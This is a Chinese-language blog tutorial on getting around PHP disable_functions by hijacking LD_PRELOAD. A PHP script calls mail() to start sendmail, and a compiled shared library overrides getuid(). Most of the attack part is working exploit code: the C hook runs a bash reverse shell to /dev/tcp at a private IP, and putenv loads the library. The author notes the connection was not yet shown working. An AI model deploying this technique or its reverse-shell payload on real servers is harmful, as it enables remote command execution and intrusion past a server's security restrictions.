通过LD_PRELOAD绕过disable_functions

什么是LD_PRELOAD

LD_PRELOAD是Linux/Unix系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

我们可以重写程序运行过程中所调用的函数并将其编译为动态链接库文件,然后通过我们对环境变量的控制来让程序优先加载这里的恶意的动态链接库,进而实现我们在动态链接库中所写的恶意函数。

实现绕过

绕过步骤

步骤分为以下两步:
第一 php需要启动一个新的进程
第二 控制环境变量

利用 mail 函数启动新进程

(1)我们在nginx/html目录下写一个web.php

<?php
mail("a@localhost","","","","");
?>

(2)再用命令去追踪系统调用,看他它调用了哪些动态链接库,或是启动了哪些新进程

strace -f php web.php 2>&1 | grep -A2 -B2 execve

(3)我们再来查看sendmail,就像上面查看ls一样,然后找比较方便的动态链接库

readelf -Ws /usr/sbin/sendmail

(4)编译反弹shell
hook_getuid.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/192.168.150.133/2333 0>&1'");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

然后再重复上面的步骤
(5)修改web.php,添加putenvputenv函数来实现链接库的设置

<?php
putenv('LD_PRELOAD=/usr/local/nginx/html/hook_getuid.so');// 注意这里的目录要有访问权限
mail("a@localhost","","","","");
?>

(6)给予权限

chown -R apache:apache hook_getuid.so
chown -R apache:apache web.php

(7)启动web.php

php web.php

因为环境原因没有显示连接成功,等我环境配置好后再来。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值